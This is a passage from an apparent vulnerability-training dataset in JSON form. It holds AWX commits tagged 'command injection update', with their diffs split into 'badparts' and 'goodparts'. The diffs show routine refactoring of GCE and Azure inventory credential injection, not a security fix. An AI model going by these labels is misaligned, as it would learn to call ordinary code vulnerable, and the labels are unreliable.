('custom', 'ec2', 'scm') and", " not (self.get_cloud_credential())):", " return False", " elif self.source == 'scm' and not self.inventory_source.source_project:", " return False", " elif self.source == 'file':"], "goodparts": [" elif not self.inventory_source or not self.inventory_source._can_update():"]}]}, "/awx/main/tasks.py": {"changes": [{"diff": "\n from awx.main.models import (\n Schedule, TowerScheduleState, Instance, InstanceGroup,\n UnifiedJob, Notification,\n- Inventory, SmartInventoryMembership,\n+ Inventory, InventorySource, SmartInventoryMembership,\n Job, AdHocCommand, ProjectUpdate, InventoryUpdate, SystemJob,\n JobEvent, ProjectUpdateEvent, InventoryUpdateEvent, AdHocCommandEvent, SystemJobEvent,\n build_safe_env\n", "add": 1, "remove": 1, "filename": "/awx/main/tasks.py", "badparts": [" Inventory, SmartInventoryMembership,"], "goodparts": [" Inventory, InventorySource, SmartInventoryMembership,"]}, {"diff": "\n def build_env(self, inventory_update, private_data_dir, isolated, private_data_files=None):\n \"\"\"Build environment dictionary for inventory import.\n \n- This is the mechanism by which any data that needs to be passed\n+ This used to be the mechanism by which any data that needs to be passed\n to the inventory update script is set up. In particular, this is how\n inventory update is aware of its proper credentials.\n+\n+ Most environment injection is now accomplished by the credential\n+ injectors. The primary purpose this still serves is to\n+ still point to the inventory update INI or config file.\n \"\"\"\n env = super(RunInventoryUpdate, self).build_env(inventory_update,\n private_data_dir,\n", "add": 5, "remove": 1, "filename": "/awx/main/tasks.py", "badparts": [" This is the mechanism by which any data that needs to be passed"], "goodparts": [" This used to be the mechanism by which any data that needs to be passed", " Most environment injection is now accomplished by the credential", " injectors. The primary purpose this still serves is to", " still point to the inventory update INI or config file."]}, {"diff": "\n inventory_update.get_cloud_credential(), ''\n )\n \n- if inventory_update.source == 'gce':\n- env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa\n-\n- # by default, the GCE inventory source caches results on disk for\n- # 5 minutes; disable this behavior\n- cp = configparser.ConfigParser()\n- cp.add_section('cache')\n- cp.set('cache', 'cache_max_age', '0')\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- cp.write(os.fdopen(handle, 'w'))\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n- env['GCE_INI_PATH'] = path\n- elif inventory_update.source in ['scm', 'custom']:\n+ if inventory_update.source in InventorySource.injectors:\n+ # TODO: mapping from credential.kind to inventory_source.source\n+ injector = InventorySource.injectors[inventory_update.source](self.get_ansible_version(inventory_update))\n+ env = injector.build_env(inventory_update, env, private_data_dir)\n+\n+ if inventory_update.source == 'tower':\n+ env['TOWER_INVENTORY'] = inventory_update.instance_filters\n+ env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n+\n+ if inventory_update.source in ['scm', 'custom']:\n for env_k in inventory_update.source_vars_dict:\n if str(env_k) not in env and str(env_k) not in settings.INV_ENV_VARIABLE_BLACKLIST:\n env[str(env_k)] = str(inventory_update.source_vars_dict[env_k])\n- elif inventory_update.source == 'tower':\n- env['TOWER_INVENTORY'] = inventory_update.instance_filters\n- env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n elif inventory_update.source == 'file':\n raise NotImplementedError('Cannot update file sources through the task system.')\n return env\n", "add": 10, "remove": 16, "filename": "/awx/main/tasks.py", "badparts": [" if inventory_update.source == 'gce':", " env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa", " cp = configparser.ConfigParser()", " cp.add_section('cache')", " cp.set('cache', 'cache_max_age', '0')", " handle, path = tempfile.mkstemp(dir=private_data_dir)", " cp.write(os.fdopen(handle, 'w'))", " os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)", " env['GCE_INI_PATH'] = path", " elif inventory_update.source in ['scm', 'custom']:", " elif inventory_update.source == 'tower':", " env['TOWER_INVENTORY'] = inventory_update.instance_filters", " env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']"], "goodparts": [" if inventory_update.source in InventorySource.injectors:", " injector = InventorySource.injectors[inventory_update.source](self.get_ansible_version(inventory_update))", " env = injector.build_env(inventory_update, env, private_data_dir)", " if inventory_update.source == 'tower':", " env['TOWER_INVENTORY'] = inventory_update.instance_filters", " env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']", " if inventory_update.source in ['scm', 'custom']:"]}, {"diff": "\n getattr(settings, '%s_INSTANCE_ID_VAR' % src.upper()),])\n # Add arguments for the source inventory script\n args.append('--source')\n+ args.append(self.build_inventory(inventory_update, private_data_dir))\n+ if src == 'custom':\n+ args.append(\"--custom\")\n+ args.append('-v%d' % inventory_update.verbosity)\n+ if settings.DEBUG:\n+ args.append('--traceback')\n+ return args\n+\n+ def build_inventory(self, inventory_update, private_data_dir):\n+ src = inventory_update.source\n if src in CLOUD_PROVIDERS:\n- # Get the path to the inventory plugin, and append it to our\n- # arguments.\n- plugin_path = self.get_path_to('..', 'plugins', 'inventory',\n- '%s.py' % src)\n- args.append(plugin_path)\n+ if src in InventorySource.injectors:\n+ cloud_cred = inventory_update.get_cloud_credential()\n+ injector = InventorySource.injectors[cloud_cred.kind](self.get_ansible_version(inventory_update))\n+ content = injector.inventory_contents(inventory_update)\n+ content = content.encode('utf-8')\n+ # must be a statically named file\n+ inventory_path = os.path.join(private_data_dir, injector.filename)\n+ with open(inventory_path, 'w') as f:\n+ f.write(content)\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ else:\n+ # Get the path to the inventory plugin, and append it to our\n+ # arguments.\n+ inventory_path = self.get_path_to('..', 'plugins', 'inventory', '%s.py' % src)\n elif src == 'scm':\n- args.append(inventory_update.get_actual_source_path())\n+ inventory_path = inventory_update.get_actual_source_path()\n elif src == 'custom':\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n+ handle, inventory_path = tempfile.mkstemp(dir=private_data_dir)\n f = os.fdopen(handle, 'w')\n if inventory_update.source_script is None:\n raise RuntimeError('Inventory Script does not exist')\n f.write(inventory_update.source_script.script)\n f.close()\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n- args.append(path)\n- args.append(\"--custom\")\n- args.append('-v%d' % inventory_update.verbosity)\n- if settings.DEBUG:\n- args.append('--traceback')\n- return args\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ return inventory_path\n \n def build_cwd(self, inventory_update, private_data_dir):\n- if inventory_update.source == 'scm' and inventory_update.source_project_update:\n+ '''\n+ There are two cases where the inventory \"source\" is in a different\n+ location from the private data:\n+ - deprecated vendored inventory scripts in awx/plugins/inventory\n+ - SCM, where source needs to live in the project folder\n+ in these cases, the inventory does not exist in the standard tempdir\n+ '''\n+ src = inventory_update.source\n+ if src == 'scm' and inventory_update.source_project_update:\n return inventory_update.source_project_update.get_project_path(check_if_exists=False)\n- return self.get_path_to('..', 'plugins', 'inventory')\n+ if src in CLOUD_PROVIDERS:\n+ injector = None\n+ if src in InventorySource.injectors:\n+ injector = InventorySource.injectors[src](self.get_ansible_version(inventory_update))\n+ if (not injector) or (not injector.should_use_plugin()):\n+ return self.get_path_to('..', 'plugins', 'inventory')\n+ return private_data_dir\n \n def build_playbook_path_relative_to_cwd(self, inventory_update, private_data_dir):\n return N", "add": 44, "remove": 16, "filename": "/awx/main/tasks.py", "badparts": [" plugin_path = self.get_path_to('..', 'plugins', 'inventory',", " '%s.py' % src)", " args.append(plugin_path)", " args.append(inventory_update.get_actual_source_path())", " handle, path = tempfile.mkstemp(dir=private_data_dir)", " os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)", " args.append(path)", " args.append(\"--custom\")", " args.append('-v%d' % inventory_update.verbosity)", " if settings.DEBUG:", " args.append('--traceback')", " return args", " if inventory_update.source == 'scm' and inventory_update.source_project_update:", " return self.get_path_to('..', 'plugins', 'inventory')"], "goodparts": [" args.append(self.build_inventory(inventory_update, private_data_dir))", " if src == 'custom':", " args.append(\"--custom\")", " args.append('-v%d' % inventory_update.verbosity)", " if settings.DEBUG:", " args.append('--traceback')", " return args", " def build_inventory(self, inventory_update, private_data_dir):", " src = inventory_update.source", " if src in InventorySource.injectors:", " cloud_cred = inventory_update.get_cloud_credential()", " injector = InventorySource.injectors[cloud_cred.kind](self.get_ansible_version(inventory_update))", " content = injector.inventory_contents(inventory_update)", " content = content.encode('utf-8')", " inventory_path = os.path.join(private_data_dir, injector.filename)", " with open(inventory_path, 'w') as f:", " f.write(content)", " os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)", " else:", " inventory_path = self.get_path_to('..', 'plugins', 'inventory', '%s.py' % src)", " inventory_path = inventory_update.get_actual_source_path()", " handle, inventory_path = tempfile.mkstemp(dir=private_data_dir)", " os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)", " return inventory_path", " '''", " There are two cases where the inventory \"source\" is in a different", " location from the private data:", " - deprecated vendored inventory scripts in awx/plugins/inventory", " - SCM, where source needs to live in the project folder", " in these cases, the inventory does not exist in the standard tempdir", " '''", " src = inventory_update.source", " if src == 'scm' and inventory_update.source_project_update:", " if src in CLOUD_PROVIDERS:", " injector = None", " if src in InventorySource.injectors:", " injector = InventorySource.injectors[src](self.get_ansible_version(inventory_update))", " if (not injector) or (not injector.should_use_plugin()):", " return self.get_path_to('..', 'plugins', 'inventory')", " return private_data_dir"]}]}}, "msg": "Build-in inventory plugin code structure with gce working\n\nsupporting and related changes\n - Fix inconsistency between can_update / can_start\n - Avoid creating inventory file twice unnecessarily\n - Non-functional consolidation in Azure injection logic\n - Inject GCE creds as indented JSON for readability\n - Create new injector class structure, add gce\n - Reduce management command overrides of runtime environment"}}, "https://github.com/sushilsahu87/awx": {"6c130fa6c3a097209c667f8731d3cbe24d7dc747": {"url": "https://api.github.com/repos/sushilsahu87/awx/commits/6c130fa6c3a097209c667f8731d3cbe24d7dc747", "html_url": "https://github.com/sushilsahu87/awx/commit/6c130fa6c3a097209c667f8731d3cbe24d7dc747", "sha": "6c130fa6c3a097209c667f8731d3cbe24d7dc747", "keyword": "command injection update", "diff": "diff --git a/awx/main/management/commands/inventory_import.py b/awx/main/management/commands/inventory_import.py\nindex af4c2d88d..83f37949d 100644\n--- a/awx/main/management/commands/inventory_import.py\n+++ b/awx/main/management/commands/inventory_import.py\n@@ -124,7 +124,13 @@ def get_path_to_ansible_inventory(self):\n \n def get_base_args(self):\n # get ansible-inventory absolute path for running in bubblewrap/proot, in Popen\n- bargs= [self.get_path_to_ansible_inventory(), '-i', self.source]\n+\n+ # NOTE: why do we add \"python\" to the start of these args?\n+ # the script that runs ansible-inventory specifies a python interpreter\n+ # that makes no sense in light of the fact that we put all the dependencies\n+ # inside of /venv/ansible, so we override the specified interpreter\n+ # https://github.com/ansible/ansible/issues/50714\n+ bargs= ['python', self.get_path_to_ansible_inventory(), '-i', self.source]\n logger.debug('Using base command: {}'.format(' '.join(bargs)))\n return bargs\n \ndiff --git a/awx/main/models/credential/injectors.py b/awx/main/models/credential/injectors.py\nindex 44c0839d2..4fb642da0 100644\n--- a/awx/main/models/credential/injectors.py\n+++ b/awx/main/models/credential/injectors.py\n@@ -24,12 +24,15 @@ def gce(cred, env, private_data_dir):\n 'type': 'service_account',\n 'private_key': cred.get_input('ssh_key_data', default=''),\n 'client_email': username,\n- 'project_id': project\n+ 'project_id': project,\n+ # need token uri for inventory plugins\n+ # should this really be hard coded? Good question.\n+ 'token_uri': 'https://accounts.google.com/o/oauth2/token',\n }\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- f = os.fdopen(handle, 'w')\n- json.dump(json_cred, f)\n- f.close()\n+\n+ path = os.path.join(private_data_dir, 'creds.json')\n+ with open(path, 'w') as f:\n+ json.dump(json_cred, f, indent=2)\n os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n env['GCE_CREDENTIALS_FILE_PATH'] = path\n \n@@ -38,13 +41,13 @@ def azure_rm(cred, env, private_data_dir):\n client = cred.get_input('client', default='')\n tenant = cred.get_input('tenant', default='')\n \n+ env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n+\n if len(client) and len(tenant):\n env['AZURE_CLIENT_ID'] = client\n env['AZURE_TENANT'] = tenant\n env['AZURE_SECRET'] = cred.get_input('secret', default='')\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n else:\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n env['AZURE_AD_USER'] = cred.get_input('username', default='')\n env['AZURE_PASSWORD'] = cred.get_input('password', default='')\n \ndiff --git a/awx/main/models/inventory.py b/awx/main/models/inventory.py\nindex df04d5b1a..32b6ca9cf 100644\n--- a/awx/main/models/inventory.py\n+++ b/awx/main/models/inventory.py\n@@ -10,6 +10,11 @@\n import copy\n import os.path\n from urllib.parse import urljoin\n+import yaml\n+import configparser\n+import stat\n+import tempfile\n+from distutils.version import LooseVersion as Version\n \n # Django\n from django.conf import settings\n@@ -1015,6 +1020,8 @@ class InventorySourceOptions(BaseModel):\n Common fields for InventorySource and InventoryUpdate.\n '''\n \n+ injectors = dict()\n+\n SOURCE_CHOICES = [\n ('', _('Manual')),\n ('file', _('File, Directory or Script')),\n@@ -1308,6 +1315,8 @@ def cloud_credential_validation(source, cred):\n return None\n \n def get_inventory_plugin_name(self):\n+ if self.source in InventorySourceOptions.injectors:\n+ return InventorySourceOptions.injectors[self.source].plugin_name\n if self.source in CLOUD_PROVIDERS or self.source == 'custom':\n # TODO: today, all vendored sources are scripts\n # in future release inventory plugins will replace these\n@@ -1532,8 +1541,15 @@ def _can_update(self):\n return bool(self.source_script)\n elif self.source == 'scm':\n return bool(self.source_project)\n- else:\n- return bool(self.source in CLOUD_INVENTORY_SOURCES)\n+ elif self.source == 'file':\n+ return False\n+ elif self.source == 'ec2':\n+ # Permit credential-less ec2 updates to allow IAM roles\n+ return True\n+ elif self.source == 'gce':\n+ # These updates will hang if correct credential is not supplied\n+ return bool(self.get_cloud_credential().kind == 'gce')\n+ return True\n \n def create_inventory_update(self, **kwargs):\n return self.create_unified_job(**kwargs)\n@@ -1695,6 +1711,14 @@ def get_absolute_url(self, request=None):\n def get_ui_url(self):\n return urljoin(settings.TOWER_URL_BASE, \"/#/jobs/inventory/{}\".format(self.pk))\n \n+ @property\n+ def ansible_virtualenv_path(self):\n+ if self.inventory and self.inventory.organization:\n+ virtualenv = self.inventory.organization.custom_virtualenv\n+ if virtualenv:\n+ return virtualenv\n+ return settings.ANSIBLE_VENV_PATH\n+\n def get_actual_source_path(self):\n '''Alias to source_path that combines with project path for for SCM file based sources'''\n if self.inventory_source_id is None or self.inventory_source.source_project_id is None:\n@@ -1717,13 +1741,7 @@ def task_impact(self):\n def can_start(self):\n if not super(InventoryUpdate, self).can_start:\n return False\n-\n- if (self.source not in ('custom', 'ec2', 'scm') and\n- not (self.get_cloud_credential())):\n- return False\n- elif self.source == 'scm' and not self.inventory_source.source_project:\n- return False\n- elif self.source == 'file':\n+ elif not self.inventory_source or not self.inventory_source._can_update():\n return False\n return True\n \n@@ -1801,3 +1819,88 @@ class Meta:\n \n def get_absolute_url(self, request=None):\n return reverse('api:inventory_script_detail', kwargs={'pk': self.pk}, request=request)\n+\n+\n+# TODO: move these to their own file somewhere?\n+class PluginFileInjector(object):\n+ plugin_name = None\n+ initial_version = None\n+\n+ def __init__(self, ansible_version):\n+ # This is InventoryOptions instance, could be source or inventory update\n+ self.ansible_version = ansible_version\n+\n+ @property\n+ def filename(self):\n+ return '{0}.yml'.format(self.plugin_name)\n+\n+ def inventory_contents(self, inventory_source):\n+ return yaml.safe_dump(self.inventory_as_dict(inventory_source), default_flow_style=False)\n+\n+ def should_use_plugin(self):\n+ return bool(\n+ self.initial_version and\n+ Version(self.ansible_version) >= Version(self.initial_version)\n+ )\n+\n+ def build_env(self, *args, **kwargs):\n+ if self.should_use_plugin():\n+ return self.build_plugin_env(*args, **kwargs)\n+ else:\n+ return self.build_script_env(*args, **kwargs)\n+\n+ def build_plugin_env(self, inventory_update, env, private_data_dir):\n+ return env\n+\n+ def build_script_env(self, inventory_update, env, private_data_dir):\n+ return env\n+\n+ def build_private_data(self, *args, **kwargs):\n+ if self.should_use_plugin():\n+ return self.build_private_data(*args, **kwargs)\n+ else:\n+ return self.build_private_data(*args, **kwargs)\n+\n+ def build_script_private_data(self, *args, **kwargs):\n+ pass\n+\n+ def build_plugin_private_data(self, *args, **kwargs):\n+ pass\n+\n+\n+class gce(PluginFileInjector):\n+ plugin_name = 'gcp_compute'\n+ initial_version = '2.6'\n+\n+ def build_script_env(self, inventory_update, env, private_data_dir):\n+ env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa\n+\n+ # by default, the GCE inventory source caches results on disk for\n+ # 5 minutes; disable this behavior\n+ cp = configparser.ConfigParser()\n+ cp.add_section('cache')\n+ cp.set('cache', 'cache_max_age', '0')\n+ handle, path = tempfile.mkstemp(dir=private_data_dir)\n+ cp.write(os.fdopen(handle, 'w'))\n+ os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n+ env['GCE_INI_PATH'] = path\n+ return env\n+\n+ def inventory_as_dict(self, inventory_source):\n+ # NOTE: generalizing this to be use templating like credential types would be nice\n+ # but with YAML content that need to inject list parameters into the YAML,\n+ # it is hard to see any clean way we can possibly do this\n+ ret = dict(\n+ plugin='gcp_compute',\n+ projects=[inventory_source.get_cloud_credential().project],\n+ filters=None, # necessary cruft, see: https://github.com/ansible/ansible/pull/50025\n+ service_account_file=\"creds.json\",\n+ auth_kind=\"serviceaccount\"\n+ )\n+ if inventory_source.source_regions:\n+ ret['zones'] = inventory_source.source_regions.split(',')\n+ return ret\n+\n+\n+for cls in PluginFileInjector.__subclasses__():\n+ InventorySourceOptions.injectors[cls.__name__] = cls\ndiff --git a/awx/main/tasks.py b/awx/main/tasks.py\nindex b7f405bb4..c459a30fe 100644\n--- a/awx/main/tasks.py\n+++ b/awx/main/tasks.py\n@@ -52,7 +52,7 @@\n from awx.main.models import (\n Schedule, TowerScheduleState, Instance, InstanceGroup,\n UnifiedJob, Notification,\n- Inventory, SmartInventoryMembership,\n+ Inventory, InventorySource, SmartInventoryMembership,\n Job, AdHocCommand, ProjectUpdate, InventoryUpdate, SystemJob,\n JobEvent, ProjectUpdateEvent, InventoryUpdateEvent, AdHocCommandEvent, SystemJobEvent,\n build_safe_env\n@@ -67,6 +67,7 @@\n get_licenser,\n ignore_inventory_computed_fields,\n ignore_inventory_group_removal, extract_ansible_vars, schedule_task_manager)\n+from awx.main.utils.common import _get_ansible_version\n from awx.main.utils.safe_yaml import safe_dump, sanitize_jinja\n from awx.main.utils.reload import stop_local_services\n from awx.main.utils.pglock import advisory_lock\n@@ -713,12 +714,25 @@ def update_model(self, pk, _attempt=0, **updates):\n logger.error('Failed to update %s after %d retries.',\n self.model._meta.object_name, _attempt)\n \n+ def get_ansible_version(self, instance):\n+ if not hasattr(self, '_ansible_version'):\n+ self._ansible_version = _get_ansible_version(\n+ ansible_path=self.get_path_to_ansible(instance, executable='ansible'))\n+ return self._ansible_version\n+\n def get_path_to(self, *args):\n '''\n Return absolute path relative to this file.\n '''\n return os.path.abspath(os.path.join(os.path.dirname(__file__), *args))\n \n+ def get_path_to_ansible(self, instance, executable='ansible-playbook', **kwargs):\n+ venv_path = getattr(instance, 'ansible_virtualenv_path', settings.ANSIBLE_VENV_PATH)\n+ venv_exe = os.path.join(venv_path, 'bin', executable)\n+ if os.path.exists(venv_exe):\n+ return venv_exe\n+ return shutil.which(executable)\n+\n def build_private_data(self, instance, private_data_dir):\n '''\n Return SSH private key data (only if stored in DB as ssh_key_data).\n@@ -2134,9 +2148,13 @@ def build_passwords(self, inventory_update, runtime_passwords):\n def build_env(self, inventory_update, private_data_dir, isolated, private_data_files=None):\n \"\"\"Build environment dictionary for inventory import.\n \n- This is the mechanism by which any data that needs to be passed\n+ This used to be the mechanism by which any data that needs to be passed\n to the inventory update script is set up. In particular, this is how\n inventory update is aware of its proper credentials.\n+\n+ Most environment injection is now accomplished by the credential\n+ injectors. The primary purpose this still serves is to\n+ still point to the inventory update INI or config file.\n \"\"\"\n env = super(RunInventoryUpdate, self).build_env(inventory_update,\n private_data_dir,\n@@ -2145,6 +2163,7 @@ def build_env(self, inventory_update, private_data_dir, isolated, private_data_f\n if private_data_files is None:\n private_data_files = {}\n self.add_awx_venv(env)\n+ self.add_ansible_venv(inventory_update.ansible_virtualenv_path, env)\n # Pass inventory source ID to inventory script.\n env['INVENTORY_SOURCE_ID'] = str(inventory_update.inventory_source_id)\n env['INVENTORY_UPDATE_ID'] = str(inventory_update.pk)\n@@ -2176,25 +2195,19 @@ def build_env(self, inventory_update, private_data_dir, isolated, private_data_f\n inventory_update.get_cloud_credential(), ''\n )\n \n- if inventory_update.source == 'gce':\n- env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa\n-\n- # by default, the GCE inventory source caches results on disk for\n- # 5 minutes; disable this behavior\n- cp = configparser.ConfigParser()\n- cp.add_section('cache')\n- cp.set('cache', 'cache_max_age', '0')\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- cp.write(os.fdopen(handle, 'w'))\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n- env['GCE_INI_PATH'] = path\n- elif inventory_update.source in ['scm', 'custom']:\n+ if inventory_update.source in InventorySource.injectors:\n+ # TODO: mapping from credential.kind to inventory_source.source\n+ injector = InventorySource.injectors[inventory_update.source](self.get_ansible_version(inventory_update))\n+ env = injector.build_env(inventory_update, env, private_data_dir)\n+\n+ if inventory_update.source == 'tower':\n+ env['TOWER_INVENTORY'] = inventory_update.instance_filters\n+ env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n+\n+ if inventory_update.source in ['scm', 'custom']:\n for env_k in inventory_update.source_vars_dict:\n if str(env_k) not in env and str(env_k) not in settings.INV_ENV_VARIABLE_BLACKLIST:\n env[str(env_k)] = str(inventory_update.source_vars_dict[env_k])\n- elif inventory_update.source == 'tower':\n- env['TOWER_INVENTORY'] = inventory_update.instance_filters\n- env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n elif inventory_update.source == 'file':\n raise NotImplementedError('Cannot update file sources through the task system.')\n return env\n@@ -2259,33 +2272,61 @@ def build_args(self, inventory_update, private_data_dir, passwords):\n getattr(settings, '%s_INSTANCE_ID_VAR' % src.upper()),])\n # Add arguments for the source inventory script\n args.append('--source')\n+ args.append(self.build_inventory(inventory_update, private_data_dir))\n+ if src == 'custom':\n+ args.append(\"--custom\")\n+ args.append('-v%d' % inventory_update.verbosity)\n+ if settings.DEBUG:\n+ args.append('--traceback')\n+ return args\n+\n+ def build_inventory(self, inventory_update, private_data_dir):\n+ src = inventory_update.source\n if src in CLOUD_PROVIDERS:\n- # Get the path to the inventory plugin, and append it to our\n- # arguments.\n- plugin_path = self.get_path_to('..', 'plugins', 'inventory',\n- '%s.py' % src)\n- args.append(plugin_path)\n+ if src in InventorySource.injectors:\n+ cloud_cred = inventory_update.get_cloud_credential()\n+ injector = InventorySource.injectors[cloud_cred.kind](self.get_ansible_version(inventory_update))\n+ content = injector.inventory_contents(inventory_update)\n+ content = content.encode('utf-8')\n+ # must be a statically named file\n+ inventory_path = os.path.join(private_data_dir, injector.filename)\n+ with open(inventory_path, 'w') as f:\n+ f.write(content)\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ else:\n+ # Get the path to the inventory plugin, and append it to our\n+ # arguments.\n+ inventory_path = self.get_path_to('..', 'plugins', 'inventory', '%s.py' % src)\n elif src == 'scm':\n- args.append(inventory_update.get_actual_source_path())\n+ inventory_path = inventory_update.get_actual_source_path()\n elif src == 'custom':\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n+ handle, inventory_path = tempfile.mkstemp(dir=private_data_dir)\n f = os.fdopen(handle, 'w')\n if inventory_update.source_script is None:\n raise RuntimeError('Inventory Script does not exist')\n f.write(inventory_update.source_script.script)\n f.close()\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n- args.append(path)\n- args.append(\"--custom\")\n- args.append('-v%d' % inventory_update.verbosity)\n- if settings.DEBUG:\n- args.append('--traceback')\n- return args\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ return inventory_path\n \n def build_cwd(self, inventory_update, private_data_dir):\n- if inventory_update.source == 'scm' and inventory_update.source_project_update:\n+ '''\n+ There are two cases where the inventory \"source\" is in a different\n+ location from the private data:\n+ - deprecated vendored inventory scripts in awx/plugins/inventory\n+ - SCM, where source needs to live in the project folder\n+ in these cases, the inventory does not exist in the standard tempdir\n+ '''\n+ src = inventory_update.source\n+ if src == 'scm' and inventory_update.source_project_update:\n return inventory_update.source_project_update.get_project_path(check_if_exists=False)\n- return self.get_path_to('..', 'plugins', 'inventory')\n+ if src in CLOUD_PROVIDERS:\n+ injector = None\n+ if src in InventorySource.injectors:\n+ injector = InventorySource.injectors[src](self.get_ansible_version(inventory_update))\n+ if (not injector) or (not injector.should_use_plugin()):\n+ return self.get_path_to('..', 'plugins', 'inventory')\n+ return private_data_dir\n \n def build_playbook_path_relative_to_cwd(self, inventory_update, private_data_dir):\n return None\ndiff --git a/requirements/requirements_ansible.in b/requirements/requirements_ansible.in\nindex 2d07079fd..c28d53280 100644\n--- a/requirements/requirements_ansible.in\n+++ b/requirements/requirements_ansible.in\n@@ -30,6 +30,7 @@ azure-graphrbac==0.40.0\n # AWS\n boto==2.47.0 # last which does not break ec2 scripts\n boto3==1.6.2\n+google-auth==1.6.2 # needed for gce inventory imports\n # netconf for network modules\n ncclient==0.6.3\n # netaddr filter\ndiff --git a/requirements/requirements_ansible.txt b/requirements/requirements_ansible.txt\nindex dab6a18f1..e935783eb 100644\n--- a/requirements/requirements_ansible.txt\n+++ b/requirements/requirements_ansible.txt\n@@ -38,6 +38,7 @@ bcrypt==3.1.4 # via paramiko\n boto3==1.6.2\n boto==2.47.0\n botocore==1.9.3 # via boto3, s3transfer\n+cachetools==3.0.0 # via google-auth\n certifi==2018.1.18 # via msrest, requests\n cffi==1.11.5 # via bcrypt, cryptography, pynacl\n chardet==3.0.4 # via requests\n@@ -50,6 +51,8 @@ docutils==0.14 # via botocore\n dogpile.cache==0.6.5 # via openstacksdk\n entrypoints==0.2.3 # via keyring\n enum34==1.1.6; python_version < '3' # via cryptography, knack, msrest, ovirt-engine-sdk-python\n+futures==3.2.0 # via openstacksdk, s3transfer\n+google-auth==1.6.2\n humanfriendly==4.8 # via azure-cli-core\n idna==2.6 # via cryptography, requests\n ipaddress==1.0.19 # via cryptography, openstacksdk\n@@ -81,6 +84,7 @@ pbr==3.1.1 # via keystoneauth1, openstacksdk, os-service-types, s\n pexpect==4.6.0\n psutil==5.4.3\n ptyprocess==0.5.2 # via pexpect\n+pyasn1-modules==0.2.3 # via google-auth\n pyasn1==0.4.2 # via paramiko\n pycparser==2.18 # via cffi\n pycurl==7.43.0.1 # via ovirt-engine-sdk-python\n@@ -100,11 +104,12 @@ requests-ntlm==1.1.0 # via pywinrm\n requests-oauthlib==0.8.0 # via msrest\n requests==2.20.0\n requestsexceptions==1.4.0 # via openstacksdk, os-client-config\n+rsa==4.0 # via google-auth\n s3transfer==0.1.13 # via boto3\n secretstorage==2.3.1 # via keyring\n selectors2==2.0.1 # via ncclient\n shade==1.27.0\n-six==1.11.0 # via azure-cli-core, bcrypt, cryptography, isodate, keystoneauth1, knack, munch, ncclient, ntlm-auth, openstacksdk, ovirt-engine-sdk-python, packaging, pynacl, pyopenssl, python-dateutil, pyvmomi, pywinrm, stevedore\n+six==1.11.0 # via azure-cli-core, bcrypt, cryptography, google-auth, isodate, keystoneauth1, knack, munch, ncclient, ntlm-auth, openstacksdk, ovirt-engine-sdk-python, packaging, pynacl, pyopenssl, python-dateutil, pyvmomi, pywinrm, stevedore\n stevedore==1.28.0 # via keystoneauth1\n tabulate==0.7.7 # via azure-cli-core, knack\n urllib3==1.24 # via requests\n", "message": "", "files": {"/awx/main/management/commands/inventory_import.py": {"changes": [{"diff": "\n \n def get_base_args(self):\n # get ansible-inventory absolute path for running in bubblewrap/proot, in Popen\n- bargs= [self.get_path_to_ansible_inventory(), '-i', self.source]\n+\n+ # NOTE: why do we add \"python\" to the start of these args?\n+ # the script that runs ansible-inventory specifies a python interpreter\n+ # that makes no sense in light of the fact that we put all the dependencies\n+ # inside of /venv/ansible, so we override the specified interpreter\n+ # https://github.com/ansible/ansible/issues/50714\n+ bargs= ['python', self.get_path_to_ansible_inventory(), '-i', self.source]\n logger.debug('Using base command: {}'.format(' '.join(bargs)))\n return bargs\n ", "add": 7, "remove": 1, "filename": "/awx/main/management/commands/inventory_import.py", "badparts": [" bargs= [self.get_path_to_ansible_inventory(), '-i', self.source]"], "goodparts": [" bargs= ['python', self.get_path_to_ansible_inventory(), '-i', self.source]"]}]}, "/awx/main/models/credential/injectors.py": {"changes": [{"diff": "\n 'type': 'service_account',\n 'private_key': cred.get_input('ssh_key_data', default=''),\n 'client_email': username,\n- 'project_id': project\n+ 'project_id': project,\n+ # need token uri for inventory plugins\n+ # should this really be hard coded? Good question.\n+ 'token_uri': 'https://accounts.google.com/o/oauth2/token',\n }\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- f = os.fdopen(handle, 'w')\n- json.dump(json_cred, f)\n- f.close()\n+\n+ path = os.path.join(private_data_dir, 'creds.json')\n+ with open(path, 'w') as f:\n+ json.dump(json_cred, f, indent=2)\n os.chmod(path, stat.S_IRUSR 